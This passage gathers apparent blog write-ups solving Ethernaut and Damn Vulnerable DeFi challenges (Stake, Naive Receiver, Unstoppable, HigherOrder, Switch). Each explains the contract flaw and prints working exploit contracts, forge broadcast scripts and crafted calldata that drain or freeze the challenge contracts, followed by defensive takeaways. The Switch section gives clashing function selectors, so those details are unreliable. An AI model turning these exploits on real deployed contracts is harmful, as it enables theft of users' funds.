        (, bytes memory allowance) = WETH.call(
            abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)) // allowance(address owner, address spender)
        );
        require(
            bytesToUint(allowance) >= amount,
            "How am I moving the funds honey?"
        );
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(
            abi.encodeWithSelector(
                0x23b872dd,
                msg.sender,
                address(this),
                amount
            )
        );
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool) {
        require(UserStake[msg.sender] >= amount, "Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        return success;
    }

    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

The hack

Back to DeFi with this new Ethernaut challenge. How could we drain the Stake contract? We have only 3 functions to play with: StakeETH, StakeWETH, and Unstake. The bytesToUint() is an internal function that is doing its job, you can ignore it. Let's focus on the main functions.

1. StakeETH

function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }

Pretty straightforward, you send some ETH and you become a staker. The contract's balance will increase by the amount you sent.

2. Unstake

function Unstake(uint256 amount) public returns (bool) {
        require(UserStake[msg.sender] >= amount, "Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        return success;
    }

Let's check the Unstake function now because it is smaller! If the vulnerability is here, we save the trouble, and otherwise, we will have the full picture in mind when going to the last and more complex function.

You can withdraw your staked amount if your UserStake amount is greater than the amount you want to withdraw. Fair enough. Then, the contract's balance will decrease by the amount you withdraw. Finally, an external call sends the amount back to the staker. Interestingly, while the CEI is respected, the function simply returns the low-level calls' return value but doesn't require it to be successful (true). Let's keep that in mind.

3. StakeWETH

function StakeWETH(uint256 amount) public returns (bool) {
        require(amount > 0.001 ether, "Don't be cheap");
        (, bytes memory allowance) = WETH.call(
            abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)) // allowance(address owner, address spender)
        );
        require(
            bytesToUint(allowance) >= amount,
            "How am I moving the funds honey?"
        );
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(
            abi.encodeWithSelector(
                0x23b872dd,
                msg.sender,
                address(this),
                amount
            )
        );
        Stakers[msg.sender] = true;
        return transfered;
    }

A function a bit longer here. Like the StakeETH() function, there is a minimum amount to respect. Then a low-level call is made to the WETH contract to check the allowance. If the allowance is sufficient, the amount is added to the totalStaked and the UserStake. Finally, the amount is transferred from the staker to the contract... Or is it?

Like in StakeETH() function previously, the return value of the low-level call is not checked. Could we exploit this? What if we approve an amount of WETH but we don't have it? The contract will increase the totalStaked and the UserStake but the transfer will fail. The function will return false, but... who cares? The call will still pass, however, the contract will be stuck with a higher totalStaked than its balance!

So it seems that we found a way to let the contract believe our stakes are higher than they actually are. Let's recheck the requirements to see how we can fulfill them.

1. The Stake contract's balance has to be greater than 0.

2. The totalStaked amount must be greater than the contract's balance.

3. We must be a staker.

4. Our staked balance must be 0.

So we have to stake some ETH to become a staker, then unstake everything so our balance is 0. However, if we unstake everything, the contract's balance will be 0, so we might have to simulate a user to stake some ETH in the contract. Then, we will be able to get our funds back, thanks to the vulnerability in the StakeWETH function.

Solution

Let's implement the complete solution. Here is a simple contract that will stake some ETH in the Stake contract. The goal is to simulate a user, so we can fulfill all the requirements.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IStake {
    function StakeETH() external payable;
}

contract BecauseWhyNot {
    IStake private immutable stake;

    constructor(address _stakeContract) payable {
        stake = IStake(_stakeContract);
    }

    function becauseWhyNot() external payable {
        // Become a staker with 0.001 ETH + 2 wei (1 will be left behind)
        stake.StakeETH{value: msg.value}();
    }
}

Next, let's write a deployment script that will handle all the transactions in one go for us:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {BecauseWhyNot} from "../src/31_Stake.sol";

interface IStake {
    function totalStaked() external view returns (uint256);
    function WETH() external view returns (address);
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
}

interface IWETH {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract PoC is Script {
    // Replace with your Stake instance
    IStake private immutable stake =
        IStake(0xaF162C29cf1791410b601D4CB73292c78C42320D);
    IWETH private immutable weth = IWETH(stake.WETH());
    uint256 amount = 0.001 ether + 1 wei;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        // 1. Deploy the BecauseWhyNot contract and stake some ETH
        BecauseWhyNot becauseWhyNot = new BecauseWhyNot(address(stake));
        becauseWhyNot.becauseWhyNot{value: amount + 1 wei}();

        // 2. Become a staker
        stake.StakeETH{value: amount}();

        // 3. Approve the stake contract to use WETH
        weth.approve(address(stake), amount);

        // 4. Stake WETH (that we don't have!)
        stake.StakeWETH(amount);
        console2.log("Balance after StakeWETH: ", address(stake).balance);
        console2.log("TotalStaked after StakeWETH: ", stake.totalStaked());

        // 5. Unstake ETH + WETH (leave 1 wei in Stake contract)
        stake.Unstake(amount * 2);
        console2.log("Balance after hack: ", address(stake).balance);
        console2.log("TotalStaked after hack: ", stake.totalStaked());

        require(address(stake).balance > 0, "Stake balance == 0");
        require(
            stake.totalStaked() > address(stake).balance,
            "Balance > Total staked"
        );

        vm.stopBroadcast();
    }
}

The command to run the script:

forge script script/31_Stake.s.sol:PoC --rpc-url sepolia --broadcast --evm-version cancun --priority-gas-price 1

Let's see the result in the terminal:

Note: We have to specify the --evm-version cancun flag to use the latest version of the EVM for this level, as well as the --priority-gas-price 1 flag, otherwise foundry complains.

🎉 Level completed 🎉

Takeaway

• Always validate properly the return values of low-level calls in case the call reverted.

• Try to systematically use SafeERC20 when dealing with ERC20 tokens.

Reference

• Check external calls return: https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return

• SafeERC20: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

In the Naive Receiver challenge, we have to drain the user's contract (the receiver address in hardhat) in a single transaction. Note that we do not need to drain the pool, just the 10 ether from the receiver.

See the contracts

The Contracts

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver is IERC3156FlashBorrower {

    address private pool;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    error UnsupportedCurrency();

    constructor(address _pool) {
        pool = _pool;
    }

    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        assembly { // gas savings
            if iszero(eq(sload(pool.slot), caller())) {
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }

        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 amountToBeRepaid;
        unchecked {
            amountToBeRepaid = amount + fee;
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    // Internal function where the funds received would be used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {

    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error UnsupportedCurrency();
    error CallbackFailed();

    function maxFlashLoan(address token) external view returns (uint256) {
        if (token == ETH) {
            return address(this).balance;
        }
        return 0;
    }

    function flashFee(address token, uint256) external pure returns (uint256) {
        if (token != ETH)
            revert UnsupportedCurrency();
        return FIXED_FEE;
    }

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }

    // Allow deposits of ETH
    receive() external payable {}
}

A lot of code again. So let's try not to get overwhelmed and get a better understanding of those contracts.

The Hack

Here is a simplified version of each contract, so we can have a clear view of what is doing what, and what we can mess with.

// Contract 1: request flash loan
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
    uint256 private constant FIXED_FEE = 1 ether;

    function maxFlashLoan(address token) external view returns (uint256) {}
    function flashFee(address token, uint256) external pure returns (uint256) {}
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {}
}

// Contract 2: receive flash loan
contract FlashLoanReceiver is IERC3156FlashBorrower {
    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {}
}

Much better, right? And let's not forget the receiver address that we have to drain. In other word, we have:

• a flashloan() function used to request a flashloan;

• a onFlashLoan() callback function used to interact with the loan once we received the loan;

Not so impressive anymore. We know that we can request up to 1000 ETH, and that each loan will cost us 1 ETH. So let's check the flashloan() function since it is where everything starts:

function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH) revert UnsupportedCurrency();

        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }

Everything seems correct. The function takes 4 parameters:

1. receiver: the receiver of the loan

2. token: the requested loaned token (has to be ETH, so we can forget that)

3. amount: the desired amount (up to 1000 ETH)

4. data: some data that can be passed to the onFlashLoan() callback

So far, so good. The function prevents us from borrowing anything other than ETH, then checks the balanceBefore before sending the loan, checks that the callback succeeded, and then checks that the repaid amount matches the loan + the fee.

So what if we take a loan? Well, each loan will cost us 1 ETH! We don't really want to do that. However, the receiver has 10 ETH that we have to drain...

If we look at the flashloan() function again, we can see that there is no check for the recipient of the loan and no minimum amount requirement as well. So what if we pass the receiver address as the receiver of a 0 ether flash loan?

Well, the flash loan will succeed and it will have cost 1 ether to the receiver!

Seems like we are now on a good way toward the solution. We can repeat that 10 times, or craft a small contract that will execute a loop for us in a single transaction.

Solution

Let's implement the Naive Receiver solution accordingly.

 it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    const ETH = await pool.ETH();
    for (let i = 0; i < 10; i++) {
        await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    }  
});

The above solution works fine, but to complete the challenge in a single transaction, we have to craft a smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}

contract Attack2 {
    address private immutable pool;
    address private immutable receiver;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    constructor(address _pool, address _receiver) {
        pool = _pool;
        receiver = _receiver;
    }

    function attack() external {
        for (uint256 i = 0; i < 10; ) {
            IPool(pool).flashLoan(receiver, ETH, 0, "");
            unchecked {
                ++i;
            }
        }
    }
}

Note: The unchecked{ ++i; } is just a good gas optimization practice for bounded for loop.

Now, we have to adjust the test file a bit:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    // const ETH = await pool.ETH();
    // for (let i = 0; i < 10; i++) {
    //   await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    // }

    // 1 transaction:
    const Attack2 = await ethers.getContractFactory("Attack2", deployer);
    const attack2 = await Attack2.deploy(pool.address, receiver.address);

    await attack2.attack();
  });

Then we just have to run the test with the following command:

yarn naive-receiver

And we get the following printed in the terminal:

Congrats! You just beat the level 2 of Damn Vulnerable DeFi.

🎉 Level completed 🎉

Takeaway

• Always validate all sensitive inputs before executing any logic.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

Without further due, let's jump into the first solution of the Damn Vulnerable DeFi Challenge: Unstoppable.

Goals

So, to make it simple, we have to DoS the vault.

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solmate/src/utils/FixedPointMathLib.sol";
import "solmate/src/utils/ReentrancyGuard.sol";
import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol";
import "solmate/src/auth/Owned.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

/**
 * @title UnstoppableVault
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    uint256 public constant FEE_FACTOR = 0.05 ether;
    uint64 public constant GRACE_PERIOD = 30 days;

    uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;

    address public feeRecipient;

    error InvalidAmount(uint256 amount);
    error InvalidBalance();
    error CallbackFailed();
    error UnsupportedCurrency();

    event FeeRecipientUpdated(address indexed newFeeRecipient);

    constructor(ERC20 _token, address _owner, address _feeRecipient)
        ERC4626(_token, "Oh Damn Valuable Token", "oDVT")
        Owned(_owner)
    {
        feeRecipient = _feeRecipient;
        emit FeeRecipientUpdated(_feeRecipient);
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function maxFlashLoan(address _token) public view returns (uint256) {
        if (address(asset) != _token)
            return 0;

        return totalAssets();
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
        if (address(asset) != _token)
            revert UnsupportedCurrency();

        if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
            return 0;
        } else {
            return _amount.mulWadUp(FEE_FACTOR);
        }
    }

    function setFeeRecipient(address _feeRecipient) external onlyOwner {
        if (_feeRecipient != address(this)) {
            feeRecipient = _feeRecipient;
            emit FeeRecipientUpdated(_feeRecipient);
        }
    }

    /**
     * @inheritdoc ERC4626
     */
    function totalAssets() public view override returns (uint256) {
        assembly { // better safe than sorry
            if eq(sload(0), 2) {
                mstore(0x00, 0xed3ba6a6)
                revert(0x1c, 0x04)
            }
        }
        return asset.balanceOf(address(this));
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address _token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
        uint256 fee = flashFee(_token, amount);
        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);
        // callback must return magic value, otherwise assume it failed
        if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
            revert CallbackFailed();
        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);
        return true;
    }

    /**
     * @inheritdoc ERC4626
     */
    function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}

    /**
     * @inheritdoc ERC4626
     */
    function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {}
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solmate/src/auth/Owned.sol";
import { UnstoppableVault, ERC20 } from "../unstoppable/UnstoppableVault.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
    UnstoppableVault private immutable pool;

    error UnexpectedFlashLoan();

    constructor(address poolAddress) Owned(msg.sender) {
        pool = UnstoppableVault(poolAddress);
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0)
            revert UnexpectedFlashLoan();

        ERC20(token).approve(address(pool), amount);

        return keccak256("IERC3156FlashBorrower.onFlashLoan");
    }

    function executeFlashLoan(uint256 amount) external onlyOwner {
        address asset = address(pool.asset());
        pool.flashLoan(
            this,
            asset,
            amount,
            bytes("")
        );
    }
}

That's a lot of code already for the first level. It is also really helpful to check the test files to see how the contracts are deployed, although, we won't really need it here.

The Hack

Let's try to see how we could manipulate the vault. Some function are protected by the onlyOwner modifier, and the ReceiverUnstoppable contract is not interesting to us at this point. So what do we have left to play with?

We can see that the flashloan() and the maxFlashloan() function both rely on the totalAssets() function in their logic.

function flashLoan(
        IERC3156FlashBorrower receiver,
        address _token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
        uint256 fee = flashFee(_token, amount);
        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);
        // callback must return magic value, otherwise assume it failed
        if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
            revert CallbackFailed();
        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);
        return true;
    }

function maxFlashLoan(address _token) public view returns (uint256) {
        if (address(asset) != _token)
            return 0;

        return totalAssets();
    }

So... let's check the totalAssets() function!

function totalAssets() public view override returns (uint256) {
        assembly { // better safe than sorry
            if eq(sload(0), 2) {
                mstore(0x00, 0xed3ba6a6)
                revert(0x1c, 0x04)
            }
        }
        return asset.balanceOf(address(this));
    }

Besides some weird assembly use here, what's really interesting is the use of asset.balanceOf(address(this)), which is a really bad practice. Why is that?

If we follow the inheritance trail, we see that the UnstoppableVault contract inherits from the ERC4626 Vault standard (which must be properly implemented!) which inherit from the ERC20 standard. And in this ERC20 standard, we can see this comment at the top of the file:

/// @dev Do not manually set balances without updating totalSupply,
/// as the sum of all user balances must not exceed it.

Now, with that in mind, let's go back to our flashloan() function, and specifically those two lines:

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

• balanceBefore is equal to asset.balanceOf(address(this)), while

• totalSupply is calculated based on user's deposits and withdraws.

So, what if we send, for fun, 1 token directly to the vault, without using the ERC4626::deposit() function? This check will never pass again since the vault's balance and the ERC20::totalSupply variable won't match anymore.

Solution

Despite a pretty big code base, the solution is straightforward:

 it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */
    await token.connect(player).transfer(vault.address, 1n * 10n ** 18n);
  });

Then we can run the following command to run the test:

yarn unstoppable

And we get the following printed in the terminal:

🎉 Level completed 🎉

Takeaway

• Never rely on the contract's balance (both ETH and tokens) for strict equality and sensitive calculations.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

The Contract

pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

Yes, that's it!

The hack

I really love those little challenges! It is so simple and the code so short that you know there will be some trick waiting for you along the road. In this case, however, if you have come so far in the Ethernaut challenges already, this shouldn't be a problem for you.

Let's take a closer look at the contract:

function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

This little assembly code stores the variable that starts at the 4th byte of the calldata in the storage slot treasury_slot. Why the 4th byte? Because the first 4 bytes are the function selector for the registerTreasury() function, and the data, the uint8 in our case, starts right after. The calldataload function reads the calldata at the specified position and returns it as a 32-byte word.

The claimLeadership() function is pretty straightforward, once we have set the treasury variable to a number greater than 255, we will be able to claim the leadership.

function claimLeadership() public {
    if (treasury > 255) commander = msg.sender;
    else revert("Only members of the Higher Order can become Commander");
}

So the goal is to set the treasury variable to a number greater than 255. However, you may have notice that the registerTreasury() only takes a uint8 as an argument, which means that we can only set the treasury variable to a number between 0 and 255. Hum...

Let's try to play a bit with some simple scripts in forge and see what we can do.

higherOrder.registerTreasury(255);
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 255

As expected, this works fine. But that doesn't allow us to claim the leadership. Let's try different values:

// Just in case!
higherOrder.registerTreasury(256);
console2.log("Treasury: ", higherOrder.treasury());

// solidity 0.6.12, might be some underflow involved?
higherOrder.registerTreasury(-1);
console2.log("Treasury: ", higherOrder.treasury());

Both of these return some errors because the function is expecting a uint8. Same if we try to adjust a bit the function definition in the interface:

interface IHigherOrder {
    function registerTreasury(uint256) external;
}

The registerTreasury() keeps type-checking the value we are passing. So what if we try without function definition with a low-level call instead?

address(higherOrder).call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 256

This works like a charm, effectively bypassing any type-check! We have set the treasury variable to 256 and we can claim the leadership.

Solution

Let's see the complete solution. This level only requires a script, no need to craft any contract.

In Foundry using forge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IHigherOrder {
    function commander() external view returns (address);
    function treasury() external view returns (uint256);
    function registerTreasury(uint8) external;
    function claimLeadership() external;
}

contract PoC is Script {
    // Replace with your HigherOrder instance
    IHigherOrder private immutable higherOrder =
        IHigherOrder(0x2917260322a451BED3074D521B2069fA9f8175ef);
    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address(higherOrder).call(
            abi.encodeWithSignature("registerTreasury(uint8)", 256)
        );
        require(higherOrder.treasury() == 256, "Treasury should be 256");
        console2.log("Treasury: ", higherOrder.treasury());

        higherOrder.claimLeadership();
        console2.log("Commander: ", higherOrder.commander());

        vm.stopBroadcast();
    }
}

And the command to run the script:

forge script script/30_HigherOrder.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

In the browser's console:

This is a (little) bit trickier in JavaScript as we have to prepare the transaction manually. The following would work just fine:

const data =
  web3.eth.abi.encodeFunctionSignature("registerTreasury(uint8)") +
  web3.utils.leftPad(web3.utils.toHex(256), 64).substring(2);

await sendTransaction({
  from: player,
  to: instance,
  data: data,
});

Then you can claim the leadership:

await contract.claimLeadership();

🎉 Level completed 🎉

Takeaway

• Interfaces provide valuable type-checks when calling functions from other contracts.

• Be careful when using low-level calls!

Reference

• Low-level calls in-depth: https://ethereum-blockchain-developer.com/2022-04-smart-wallet/07-low-level-calls-in-depth/

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous Gate Keeper Three, the Switch challenge is far from easy, especially if you are not familiar with calldata and memory pointers.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

The hack

Just have to flip the switch... And we even have a turnSwitchOn() function to do just that. However, this function is protected by the onlyThis modifier:

modifier onlyThis() {
    require(msg.sender == address(this), "Only the contract can call this");
    _;
}

So only the Switch contract can call it. So let's take a look at the flipSwitch() function, after all, with such a name, it might just work!

function flipSwitch(bytes memory _data) public onlyOff {
    (bool success, ) = address(this).call(_data);
    require(success, "call failed :(");
}

This function does an external call on itself, it seems too good to be true. We could simply pass the turnSwitchOn() function selector...

But let's take a look at the onlyOff modifier, in case:

modifier onlyOff() {
    // we use a complex data type to put in memory
    bytes32[1] memory selector;
    // check that the calldata at position 68 (location of _data)
    assembly {
        calldatacopy(selector, 68, 4) // grab function selector from calldata
    }
    require(
        selector[0] == offSelector,
        "Can only call the turnOffSwitch function"
    );
    _;
}

Obviously enough, the goal of this modifier is to make sure we CAN ONLY pass the turnSwitchOff() function selector to the flipSwitch() function! So we will need to craft some custom calldata to pass the turnSwitchOn() function selector while making sure the turnSwitchOff() selector is positioned at the 68th byte of the calldata.

Well... How to do that?

Calldata encoding

We know that each solidity types are stored in its hex form, padded with zeros to fill a 32-byte slot. For instance:

uint256 20 is 0x14 in hex, and would be stored like this: 0x0000000000000000000000000000000000000000000000000000000000000014

For dynamic types, it is a bit different and solidity stores them as follows:

• first 32-byte is the offset of the data;

• second 32-byte is the length of the data;

• next are the data themselves.

Let's take the following array of prime numbers for instance: uint256[] memory data = [2, 3, 5, 7, 11]. It would be stored as follows:

offset:
0000000000000000000000000000000000000000000000000000000000000020

length (5 elements in the array):
0000000000000000000000000000000000000000000000000000000000000005

first element value(2):
0000000000000000000000000000000000000000000000000000000000000002

second element value(3):
0000000000000000000000000000000000000000000000000000000000000003

third element value(5):
0000000000000000000000000000000000000000000000000000000000000005

fourth element value(7):
0000000000000000000000000000000000000000000000000000000000000007

fifth element value(11):
000000000000000000000000000000000000000000000000000000000000000B

And the output would be:

0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000000B

So, with that in mind, let's try to craft the calldata for the flipSwitch() function.

Custom calldata

We will need the turnSwitchOn() and turnSwitchOff() function selectors:

cast sig "turnSwitchOn()"
=> 0x30c13ade

cast sig "turnSwitchOff()"
=> 0x20606e15

Now, why is the onlyOff modifier targeting the position 68?

• The first 4 bytes are the function selector;

• The next 64 bytes are the offset and the length of the data;

So the data, which is the function selector, starts at the 68th byte. What if we play with the offset and tell the function that the data starts at position 96 instead?

function selector turnSwitchOn:
30c13ade

offset: (96-byte instead of 68-byte)
0000000000000000000000000000000000000000000000000000000000000060

extra blank 32-byte:
0000000000000000000000000000000000000000000000000000000000000000

function selector turnSwitchOff at position 68:
20606e1500000000000000000000000000000000000000000000000000000000

data length (4-byte):
0000000000000000000000000000000000000000000000000000000000000004

data containing the function selector that will be called:
76227e1200000000000000000000000000000000000000000000000000000000

And here is the output:

0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000

The turnSwitchOn() function selector is positioned at position 68, however, it is not relevant anymore as we are telling the function that the data starts at position 96 instead! We can finally call the flipSwitch() function to toggle the switch on!

Solution

In the browser's console:

await sendTransaction({
  from: player,
  to: instance,
